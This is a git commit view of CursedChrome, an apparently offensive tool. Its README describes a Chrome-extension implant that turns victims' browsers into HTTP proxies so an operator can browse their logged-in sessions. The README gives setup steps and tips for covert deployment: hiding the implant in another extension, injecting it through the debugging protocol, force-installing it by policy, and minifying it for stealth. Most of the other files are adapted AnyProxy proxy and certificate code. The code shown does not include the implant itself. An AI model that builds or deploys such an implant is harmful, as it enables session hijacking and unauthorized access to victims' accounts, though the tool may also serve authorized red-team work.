first commit

This commit is contained in:
Matthew Bryant (mandatory)
2020-04-26 13:55:18 -07:00
commit 8f72729f55
68 changed files with 24971 additions and 0 deletions
+4
View File
@@ -0,0 +1,4 @@
node_modules/*
.DS_Store
*.key
*.crt
+33
View File
@@ -0,0 +1,33 @@
FROM node:12.16.2-stretch
RUN mkdir /work/
WORKDIR /work/
COPY package.json /work/
COPY package-lock.json /work/
RUN npm install
COPY ./anyproxy /work/anyproxy/
RUN /work/anyproxy/bin/anyproxy-ca --generate
RUN mkdir /work/ssl/
RUN cp /root/.anyproxy/certificates/rootCA.crt /work/ssl/
RUN cp /root/.anyproxy/certificates/rootCA.key /work/ssl/
# Copy over and build front-end
COPY gui /work/gui
WORKDIR /work/gui
RUN npm install
RUN npm run build
WORKDIR /work/
COPY utils.js /work/
COPY api-server.js /work/
COPY server.js /work/
COPY database.js /work/
COPY docker-entrypoint.sh /work/
RUN npm install -g nodemon
ENTRYPOINT ["/work/docker-entrypoint.sh"]
#ENTRYPOINT ["node", "/work/server.js"]
#ENTRYPOINT ["tail", "-f", "/dev/null"]
+109
View File
@@ -0,0 +1,109 @@
# CursedChrome
## What is it?
A ([cursed](https://knowyourmeme.com/memes/cursed-image)) Chrome-extension implant that turns victim Chrome browsers into fully-functional HTTP proxies. By using the proxies this tool creates you can browse the web authenticated as your victim for all of their websites.
More and more companies are moving toward the ["BeyondCorp"](https://en.wikipedia.org/wiki/BeyondCorp) model (e.g. no flat internal network, zero trust everything). This is usually implemented via a [reverse proxy/OAuth wall](https://github.com/bitly/oauth2_proxy) gating access to services, eliminating the need for a VPN. With more and more access becoming strictly available via the web browser, having a way to easily hijack and use victim's web sessions becomes an ever increasing necessity.
This is especially useful for locked down orgs that make use of [Chrome OS](https://en.wikipedia.org/wiki/Chrome_OS) where traditional malware can't be used at all. It's also steathy, as all requests will have the appropriate source-IP, cookies, client-certificates, etc since it's being proxying directly through the victim's browser.
## Screenshots
### Web Admin Panel
![](./images/cursed-chrome-web-panel.png)
### Browsing Websites Logged In as Victim (using Firefox with HTTP Proxy)
![](./images/browsing-as-victim-browser.png)
## (Rough) Infrastructure Diagram (`docker-compose` Used)
![](./images/cursedchrome-diagram.png)
### Ports & Listening Interfaces
- `127.0.0.1:8080`: HTTP proxy server (using one of the credentials in the admin panel, you can auth to a specific victim's Chrome browser via this HTTP proxy server). You also need to install the generated CA available via the admin panel before using this.
- `127.0.0.1:4343`: Websocket server, used for communicating with victim Chrome instances to transfer HTTP requests for proxying and sending commands.
- `127.0.0.1:8118`: Admin web panel for viewing victim Chrome instances and getting HTTP proxy credentials.
## Requirements
* [`docker`](https://docs.docker.com/get-docker/) and [`docker-compose`](https://docs.docker.com/compose/install/)
* Chrome web browser
## Setting Up the Backend
The backend is entirely dockerized and can be setup by running the following commands:
```
cd cursedchrome/
# Start up redis and Postgres containers in the background
docker-compose up -d redis db
# Start the CursedChrome backend
docker-compose up cursedchrome
```
Once you start up the backend you'll see an admin username and password printed to the console. You can log into the admin panel at `http://localhost:8118` using these credentials (you will be prompted to change your password upon logging in since the one printed to the console is likely logged).
## Installing the CursedChrome CA for Proxying HTTPS
Once you have the backend setup, log in to the admin panel at `http://localhost:8118` (see above) and click the `Download HTTPS Proxy CA Certificate` button. This will download the generated CA file which is required in order to proxy HTTPS requests.
You will need to install this CA into your root store, the following are instructions for various OS/browsers:
* [OS X/Mac](https://www.sslsupportdesk.com/how-to-import-a-certificate-into-mac-os/)
* [Windows](https://www.sslsupportdesk.com/how-to-enable-or-disable-all-puposes-of-root-certificates-in-mmc/)
* [Linux](https://thomas-leister.de/en/how-to-import-ca-root-certificate/)
* [Firefox (any OS)](https://support.securly.com/hc/en-us/articles/360008547993-How-to-Install-Securly-s-SSL-Certificate-in-Firefox-on-Windows)
## Setting Up the Example Chrome Extension Implant
To install the example chrome extension implant, do the following:
* Open up a Chrome web browser and navigate to `chrome://extensions`.
* Click the toggle in the top-right corner of the page labeled `Developer mode` to enable it.
* Click the `Load unpacked` button in the top-left corner of the page.
* Open the `extension/` folder inside of this repo folder.
* Once you've done so, the extension will be installed.
*Note:* You can debug the implant by clicking on the `background page` link for the text `Inspect views background page` under the `CursedChrome Implant` extension.
After you've install the extension it will show up on the admin control panel at `http://localhost:8118`.
## Modifying Implant Extension
An example implant extension has been included under the `extension/` folder. This extension has the `extension/src/bg/background.js` file which has the extension-side of the implant that connects to the service via WebSocket to proxy requests through the victim's web browser.
The following [extension permissions](https://developer.chrome.com/extensions/api_index) are needed by the implant to operate:
```
"permissions": [
"webRequest",
"webRequestBlocking",
"<all_urls>"
]
```
This code contains comments on how to modify it for a production setup. Basically doing the following:
* Minifying/stripping/uglifying the JavaScript code
* Modifying the WebSocket connection URI in the `initialize()` function to point to the host you've set up the backend on. By default it's set to `ws://localhost:4343` which will work with the out-of-the-box dev setup described in this README.
In a real world attack, this extension code would be used in one of the following ways:
* Injected into an existing extension with proper permissions via Chrome debugging protocol.
* Hidden inside of another extension
* Force-installed via Chrome enterprise policy
These topics are outside of the scope of this README, but eventually will be covered separately.
## Notes on Production Deployments
* You will likely want to run an Nginx server with a valid HTTPS certificate doing a `proxy_pass` to the WebSocket server (running on `127.0.0.1:4343`). Then you'll have TLS-encrypted websocket traffic.
* For a more secure setup, don't expose the HTTP proxy & and admin panel to the Internet directly. Opt for SSL port-forwarding or using a bastion server to connect to it.
* For situations with a large number of victims/bots/implants running, you can horizontally scale out the CursedChrome server as wide as you need to. The socket handling is completely decoupled via `redis`, so it can suppose (theoretically) tens of thousands of concurrent clients.
## Attributions
* The icon used for the web panel favicon and the example Chrome implant extension is provided by Freepik from `www.flaticon.com`.
* The [AnyProxy source code](https://github.com/alibaba/anyproxy) was heavily modified and used for part of this project.
+6
View File
@@ -0,0 +1,6 @@
{
"presets": [
"es2015",
"stage-0"
]
}
+7
View File
@@ -0,0 +1,7 @@
node_modules
dist
web
web2
resource
*.sh
docs
+75
View File
@@ -0,0 +1,75 @@
{
"extends": "airbnb",
"parser": "babel-eslint",
"env": {
"browser": true,
"node": true,
"es6": true,
"jasmine": true
},
"globals": {
"React": true,
"ReactDOM": true,
"Zepto": true,
"JsBridgeUtil": true
},
"rules": {
"semi": [0],
"comma-dangle": [0],
"global-require": [0],
"no-alert": [0],
"no-console": [0],
"no-param-reassign": [0],
"max-len": [0],
"func-names": [0],
"no-underscore-dangle": [0],
"no-unused-vars": ["error", { "vars": "all", "args": "none", "ignoreRestSiblings": false }],
"object-shorthand": [0],
"arrow-body-style": [0],
"no-new": [0],
"strict": [0],
"no-script-url": [0],
"spaced-comment": [0],
"no-empty": [0],
"no-constant-condition": [0],
"no-else-return": [0],
"no-use-before-define": [0],
"no-unused-expressions": [0],
"no-class-assign": [0],
"new-cap": [0],
"array-callback-return": [0],
"prefer-template": [0],
"no-restricted-syntax": [0],
"no-trailing-spaces": [0],
"import/no-unresolved": [0],
"jsx-a11y/img-has-alt": [0],
"camelcase": [0],
"consistent-return": [0],
"guard-for-in": [0],
"one-var": [0],
"react/wrap-multilines": [0],
"react/no-multi-comp": [0],
"react/jsx-no-bind": [0],
"react/prop-types": [0],
"react/prefer-stateless-function": [0],
"react/jsx-first-prop-new-line": [0],
"react/sort-comp": [0],
"import/no-extraneous-dependencies": [0],
"import/extensions": [0],
"react/forbid-prop-types": [0],
"react/require-default-props": [0],
"class-methods-use-this": [0],
"jsx-a11y/no-static-element-interactions": [0],
"react/no-did-mount-set-state": [0],
"jsx-a11y/alt-text": [0],
"import/no-dynamic-require": [0],
"no-extra-boolean-cast": [0],
"no-lonely-if": [0],
"no-plusplus": [0],
"generator-star-spacing": ["error", {"before": true, "after": false}],
"require-yield": [0],
"arrow-parens": [0],
"no-template-curly-in-string": [0],
"no-mixed-operators": [0]
}
}
+142
View File
@@ -0,0 +1,142 @@
22 Dec 2016: AnyProxy 4.0.0-beta:
* to AnyProxy rules: all the rule interfaces are asynchronous now, you can write them in a Promise way
* to the UI, rewrite the code and enhance the user experience
26 Feb 2016: AnyProxy 3.10.4:
* let users assign the port for web socket in AnyProxy cli
19 Sep 2016: AnyProxy 3.10.3:
* fix the cert path issue with Windows
* split out the cert management to an independent module
* add unit tests to AnyProxy
29 Apr 2016: AnyProxy 3.10.0:
* using node-forge to generate HTTPS certificates instead of openssl
29 Apr 2016: AnyProxy 3.9.1:
* update SHA1 to SHA256 for openssl certificates
19 Nov 2015: AnyProxy 3.8.1:
* bugfix for image content in web GUI
19 Nov 2015: AnyProxy 3.8.1:
* bugfix for image content in web GUI
16 Nov 2015: AnyProxy 3.8.0:
* optimize the memory strategy
2 Oct 2015: AnyProxy 3.7.7:
* bugfix for proxy.close() ref #36
9 Sep 2015: AnyProxy 3.7.6:
* optimize detail panel, ref #35
3 Sep 2015: AnyProxy 3.7.5:
* bugfix for intercepting urls like http://a.com?url=http://b.com
19 Aug 2015: AnyProxy 3.7.4:
* bugfix for intercepting urls like http://a.com?url=http://b.com
31 July 2015: AnyProxy 3.7.3:
* show lastest 100 records when visit the web ui
* save map-local config file to local file
* show an indicator when filter or map-local is in use
31 July 2015: AnyProxy 3.7.2:
* bugfix for issue #29
28 July 2015: AnyProxy 3.7.1:
* fix a bug about deflate compression
20 July 2015: AnyProxy 3.7.0:
* add a map-local panel on web ui, now you can easily map some request to your local files
1 July 2015: AnyProxy 3.6.0:
* add a filter on web ui
1 July 2015: AnyProxy 3.5.2:
* optimize the row height on web ui
18 June 2015: AnyProxy 3.5.1:
* print a hint when using SNI features in node <0.12
* Ref : https://github.com/alibaba/anyproxy/issues/25
18 June 2015: AnyProxy 3.5.0:
* it's a formal release of 3.4.0@beta.
27 Apr 2015: AnyProxy 3.4.0@beta:
* optimize web server and web socket interface
20 Apr 2015: AnyProxy 3.3.1:
* now you can assign your own port for web gui
31 Mar 2015: AnyProxy 3.3.0:
* optimize https features in windows
* add switch to mute the console
20 Mar 2015: AnyProxy 3.2.5:
* bugfix for internal https server
19 Mar 2015: AnyProxy 3.2.4:
* bugfix for absolute rule path
23 Feb 2015: AnyProxy 3.2.2:
* [bugfix for relative rule path](https://github.com/alibaba/anyproxy/pull/18)
10 Feb 2015: AnyProxy 3.2.1:
* bugfix for 3.2.0
10 Feb 2015: AnyProxy 3.2.0:
* using SNI when intercepting https requests
28 Jan 2015: AnyProxy 3.1.2:
* thanks to iconv-lite, almost webpage with any charset can be correctly decoded in web interface.
28 Jan 2015: AnyProxy 3.1.1:
* convert GBK to UTF8 in web interface
22 Jan 2015: AnyProxy 3.1.0:
* will NOT intercept https request by default. Use ``anyproxy --intercept`` to turn on this feature.
12 Jan 2015: AnyProxy 3.0.4:
* show anyproxy version by --version
12 Jan 2015: AnyProxy 3.0.3:
* Bugfix: https throttle
9 Jan 2015: AnyProxy 3.0.2:
* UI improvement: add link and qr code to root CA file.
+202
View File
@@ -0,0 +1,202 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding those notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. We also recommend that a
file or class name and description of purpose be included on the
same "printed page" as the copyright notice for easier
identification within third-party archives.
Copyright [yyyy] [name of copyright owner]
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
+29
View File
@@ -0,0 +1,29 @@
AnyProxy
----------------
[![NPM version][npm-image]][npm-url]
[![node version][node-image]][node-url]
[![npm download][download-image]][download-url]
[npm-image]: https://img.shields.io/npm/v/anyproxy.svg?style=flat-square
[npm-url]: https://npmjs.org/package/anyproxy
[node-image]: https://img.shields.io/badge/node.js-%3E=_6.0.0-green.svg?style=flat-square
[node-url]: http://nodejs.org/download/
[download-image]: https://img.shields.io/npm/dm/anyproxy.svg?style=flat-square
[download-url]: https://npmjs.org/package/anyproxy
AnyProxy is A fully configurable HTTP/HTTPS proxy in NodeJS.
Home page : [AnyProxy.io](http://anyproxy.io)
Issue: https://github.com/alibaba/anyproxy/issues
AnyProxy是一个基于NodeJS的,可供插件配置的HTTP/HTTPS代理服务器。
主页:[AnyProxy.io](http://anyproxy.io),访问可能需要稳定的国际网络环境
![](https://gw.alipayobjects.com/zos/rmsportal/gUfcjGxLONndTfllxynC.jpg@_90q)
----------------
Legacy doc of version 3.x : https://github.com/alibaba/anyproxy/wiki/3.x-docs
+54
View File
@@ -0,0 +1,54 @@
#!/usr/bin/env node
'use strict';
const program = require('commander'),
color = require('colorful'),
co = require('co'),
packageInfo = require('../package.json'),
util = require('../lib/util'),
rootCACheck = require('./rootCACheck'),
startServer = require('./startServer'),
logUtil = require('../lib/log');
program
.version(packageInfo.version)
.option('-p, --port [value]', 'proxy port, 8001 for default')
.option('-w, --web [value]', 'web GUI port, 8002 for default')
.option('-r, --rule [value]', 'path for rule file,')
.option('-l, --throttle [value]', 'throttle speed in kb/s (kbyte / sec)')
.option('-i, --intercept', 'intercept(decrypt) https requests when root CA exists')
.option('-s, --silent', 'do not print anything into terminal')
.option('-c, --clear', 'clear all the certificates and temp files')
.option('--ws-intercept', 'intercept websocket')
.option('--ignore-unauthorized-ssl', 'ignore all ssl error')
.parse(process.argv);
if (program.clear) {
require('../lib/certMgr').clearCerts(() => {
util.deleteFolderContentsRecursive(util.getAnyProxyPath('cache'));
console.log(color.green('done !'));
process.exit(0);
});
} else if (program.root) {
require('../lib/certMgr').generateRootCA(() => {
process.exit(0);
});
} else {
co(function *() {
if (program.silent) {
logUtil.setPrintStatus(false);
}
if (program.intercept) {
try {
yield rootCACheck();
} catch (e) {
console.error(e);
}
}
return startServer(program);
})
}
+102
View File
@@ -0,0 +1,102 @@
#!/usr/bin/env node
'use strict'
// exist-false, trusted-false : create CA
// exist-true, trusted-false : trust CA
// exist-true, trusted-true : all things done
const program = require('commander');
const color = require('colorful');
const certMgr = require('../lib/certMgr');
const AnyProxy = require('../proxy');
const exec = require('child_process').exec;
const co = require('co');
const path = require('path');
const inquirer = require('inquirer');
program
.option('-c, --clear', 'clear all the tmp certificates and root CA')
.option('-g, --generate', 'generate a new rootCA')
.parse(process.argv);
function openFolderOfFile(filePath) {
const isWin = /^win/.test(process.platform);
if (isWin) {
exec('start .', { cwd: path.dirname(filePath) });
} else {
exec(`open -R ${filePath}`);
}
}
function guideToGenrateCA() {
AnyProxy.utils.certMgr.generateRootCA((error, keyPath, crtPath) => {
if (!error) {
const certDir = path.dirname(keyPath);
console.log(`The cert is generated at ${certDir}. Please trust the ${color.bold('rootCA.crt')}.`);
// TODO: console.log('guide to install');
openFolderOfFile(crtPath);
} else {
console.error('failed to generate rootCA', error);
}
});
}
function guideToTrustCA() {
const certPath = AnyProxy.utils.certMgr.getRootCAFilePath();
if (certPath) {
// TODO: console.log('guide to install');
openFolderOfFile(certPath);
} else {
console.error('failed to get cert path');
}
}
if (program.clear) {
AnyProxy.utils.certMgr.clearCerts(() => {
console.log(color.green('done !'));
});
} else if (program.generate) {
guideToGenrateCA();
} else {
console.log('detecting CA status...');
co(certMgr.getCAStatus)
.then(status => {
if (!status.exist) {
console.log('AnyProxy CA does not exist.');
const questions = [{
type: 'confirm',
name: 'ifCreate',
message: 'Would you like to generate one ?',
default: true
}];
inquirer.prompt(questions).then(answers => {
if (answers.ifCreate) {
guideToGenrateCA();
}
});
} else if (!status.trusted) {
if (/^win/.test(process.platform)) {
console.log('AnyProxy CA exists, make sure it has been trusted');
} else {
console.log('AnyProxy CA exists, but not be trusted');
const questions = [{
type: 'confirm',
name: 'ifGotoTrust',
message: 'Would you like to open the folder and trust it ?',
default: true
}];
inquirer.prompt(questions).then(answers => {
if (answers.ifGotoTrust) {
guideToTrustCA();
}
});
}
// AnyProxy.utils.certMgr.clearCerts()
} else {
console.log(color.green('AnyProxy CA has already been trusted'));
}
})
.catch(e => {
console.log(e);
})
}
+33
View File
@@ -0,0 +1,33 @@
/**
* check if root CA exists and installed
* will prompt to generate when needed
*/
const thunkify = require('thunkify');
const AnyProxy = require('../proxy');
const logUtil = require('../lib/log');
const certMgr = AnyProxy.utils.certMgr;
function checkRootCAExists() {
return certMgr.isRootCAFileExists();
}
module.exports = function *() {
try {
if (!checkRootCAExists()) {
logUtil.warn('Missing root CA, generating now');
yield thunkify(certMgr.generateRootCA)();
yield certMgr.trustRootCA();
} else {
const isCATrusted = yield thunkify(certMgr.ifRootCATrusted)();
if (!isCATrusted) {
logUtil.warn('ROOT CA NOT INSTALLED YET');
yield certMgr.trustRootCA();
}
}
} catch (e) {
console.error(e);
}
};
+86
View File
@@ -0,0 +1,86 @@
/**
* start the AnyProxy server
*/
const ruleLoader = require('../lib/ruleLoader');
const logUtil = require('../lib/log');
const AnyProxy = require('../proxy');
module.exports = function startServer(program) {
let proxyServer;
// load rule module
new Promise((resolve, reject) => {
if (program.rule) {
resolve(ruleLoader.requireModule(program.rule));
} else {
resolve(null);
}
})
.catch(e => {
logUtil.printLog('Failed to load rule file', logUtil.T_ERR);
logUtil.printLog(e, logUtil.T_ERR);
process.exit();
})
//start proxy
.then(ruleModule => {
proxyServer = new AnyProxy.ProxyServer({
type: 'http',
port: program.port || 8001,
throttle: program.throttle,
rule: ruleModule,
webInterface: {
enable: true,
webPort: program.web,
},
wsIntercept: program.wsIntercept,
forceProxyHttps: program.intercept,
dangerouslyIgnoreUnauthorized: !!program.ignoreUnauthorizedSsl,
silent: program.silent
});
// proxyServer.on('ready', () => {});
proxyServer.start();
})
.catch(e => {
logUtil.printLog(e, logUtil.T_ERR);
if (e && e.code) {
logUtil.printLog('code ' + e.code, logUtil.T_ERR);
}
logUtil.printLog(e.stack, logUtil.T_ERR);
});
process.on('exit', (code) => {
if (code > 0) {
logUtil.printLog('AnyProxy is about to exit with code: ' + code, logUtil.T_ERR);
}
process.exit();
});
//exit cause ctrl+c
process.on('SIGINT', () => {
try {
proxyServer && proxyServer.close();
} catch (e) {
console.error(e);
}
process.exit();
});
process.on('uncaughtException', (err) => {
let errorTipText = 'got an uncaught exception, is there anything goes wrong in your rule file ?\n';
try {
if (err && err.stack) {
errorTipText += err.stack;
} else {
errorTipText += err;
}
} catch (e) { }
logUtil.printLog(errorTipText, logUtil.T_ERR);
try {
proxyServer && proxyServer.close();
} catch (e) { }
process.exit();
});
}
+103
View File
@@ -0,0 +1,103 @@
'use strict'
const EasyCert = require('node-easy-cert');
const co = require('co');
const os = require('os');
const inquirer = require('inquirer');
const util = require('./util');
const logUtil = require('./log');
const options = {
rootDirPath: util.getAnyProxyPath('certificates'),
inMemory: false,
defaultCertAttrs: [
{ name: 'countryName', value: 'US' },
{ name: 'organizationName', value: 'CursedChrome Proxy' },
{ shortName: 'ST', value: 'CA' },
{ shortName: 'OU', value: 'CursedChrome Browser Proxy' }
]
};
const easyCert = new EasyCert(options);
const crtMgr = util.merge({}, easyCert);
// rename function
crtMgr.ifRootCAFileExists = easyCert.isRootCAFileExists;
crtMgr.generateRootCA = function (cb) {
doGenerate(false);
// set default common name of the cert
function doGenerate(overwrite) {
const rootOptions = {
commonName: 'CursedChrome Proxy',
overwrite: !!overwrite
};
easyCert.generateRootCA(rootOptions, (error, keyPath, crtPath) => {
cb(error, keyPath, crtPath);
});
}
};
crtMgr.getCAStatus = function *() {
return co(function *() {
const result = {
exist: false,
};
const ifExist = easyCert.isRootCAFileExists();
if (!ifExist) {
return result;
} else {
result.exist = true;
if (!/^win/.test(process.platform)) {
result.trusted = yield easyCert.ifRootCATrusted;
}
return result;
}
});
}
/**
* trust the root ca by command
*/
crtMgr.trustRootCA = function *() {
const platform = os.platform();
const rootCAPath = crtMgr.getRootCAFilePath();
const trustInquiry = [
{
type: 'list',
name: 'trustCA',
message: 'The rootCA is not trusted yet, install it to the trust store now?',
choices: ['Yes', "No, I'll do it myself"]
}
];
if (platform === 'darwin') {
const answer = yield inquirer.prompt(trustInquiry);
if (answer.trustCA === 'Yes') {
logUtil.info('About to trust the root CA, this may requires your password');
// https://ss64.com/osx/security-cert.html
const result = util.execScriptSync(`sudo security add-trusted-cert -d -k /Library/Keychains/System.keychain ${rootCAPath}`);
if (result.status === 0) {
logUtil.info('Root CA install, you are ready to intercept the https now');
} else {
console.error(result);
logUtil.info('Failed to trust the root CA, please trust it manually');
util.guideToHomePage();
}
} else {
logUtil.info('Please trust the root CA manually so https interception works');
util.guideToHomePage();
}
}
if (/^win/.test(process.platform)) {
logUtil.info('You can install the root CA manually.');
}
logUtil.info('The root CA file path is: ' + crtMgr.getRootCAFilePath());
}
module.exports = crtMgr;
+16
View File
@@ -0,0 +1,16 @@
/**
* a util to set and get all configuable constant
*
*/
const path = require('path');
const USER_HOME = process.env.HOME || process.env.USERPROFILE;
const DEFAULT_ANYPROXY_HOME = path.join(USER_HOME, '/.anyproxy/');
/**
* return AnyProxy's home path
*/
module.exports.getAnyProxyHome = function () {
const ENV_ANYPROXY_HOME = process.env.ANYPROXY_HOME || '';
return ENV_ANYPROXY_HOME || DEFAULT_ANYPROXY_HOME;
}
+197
View File
@@ -0,0 +1,197 @@
'use strict'
//manage https servers
const async = require('async'),
https = require('https'),
tls = require('tls'),
crypto = require('crypto'),
color = require('colorful'),
certMgr = require('./certMgr'),
logUtil = require('./log'),
util = require('./util'),
wsServerMgr = require('./wsServerMgr'),
co = require('co'),
constants = require('constants'),
asyncTask = require('async-task-mgr');
const createSecureContext = tls.createSecureContext || crypto.createSecureContext;
//using sni to avoid multiple ports
function SNIPrepareCert(serverName, SNICallback) {
let keyContent,
crtContent,
ctx;
async.series([
(callback) => {
certMgr.getCertificate(serverName, (err, key, crt) => {
if (err) {
callback(err);
} else {
keyContent = key;
crtContent = crt;
callback();
}
});
},
(callback) => {
try {
ctx = createSecureContext({
key: keyContent,
cert: crtContent
});
callback();
} catch (e) {
callback(e);
}
}
], (err) => {
if (!err) {
const tipText = 'proxy server for __NAME established'.replace('__NAME', serverName);
logUtil.printLog(color.yellow(color.bold('[internal https]')) + color.yellow(tipText));
SNICallback(null, ctx);
} else {
logUtil.printLog('err occurred when prepare certs for SNI - ' + err, logUtil.T_ERR);
logUtil.printLog('err occurred when prepare certs for SNI - ' + err.stack, logUtil.T_ERR);
}
});
}
//config.port - port to start https server
//config.handler - request handler
/**
* Create an https server
*
* @param {object} config
* @param {number} config.port
* @param {function} config.handler
*/
function createHttpsServer(config) {
if (!config || !config.port || !config.handler) {
throw (new Error('please assign a port'));
}
return new Promise((resolve) => {
certMgr.getCertificate('anyproxy_internal_https_server', (err, keyContent, crtContent) => {
const server = https.createServer({
secureOptions: constants.SSL_OP_NO_SSLv3 || constants.SSL_OP_NO_TLSv1,
SNICallback: SNIPrepareCert,
key: keyContent,
cert: crtContent
}, config.handler).listen(config.port);
resolve(server);
});
});
}
/**
* create an https server that serving on IP address
* @param @required {object} config
* @param @required {string} config.ip the IP address of the server
* @param @required {number} config.port the port to listen on
* @param @required {function} handler the handler of each connect
*/
function createIPHttpsServer(config) {
if (!config || !config.port || !config.handler) {
throw (new Error('please assign a port'));
}
if (!config.ip) {
throw (new Error('please assign an IP to create the https server'));
}
return new Promise((resolve) => {
certMgr.getCertificate(config.ip, (err, keyContent, crtContent) => {
const server = https.createServer({
secureOptions: constants.SSL_OP_NO_SSLv3 || constants.SSL_OP_NO_TLSv1,
key: keyContent,
cert: crtContent
}, config.handler).listen(config.port);
resolve(server);
});
});
}
/**
*
*
* @class httpsServerMgr
* @param {object} config
* @param {function} config.handler handler to deal https request
*
*/
class httpsServerMgr {
constructor(config) {
if (!config || !config.handler) {
throw new Error('handler is required');
}
this.instanceDefaultHost = '127.0.0.1';
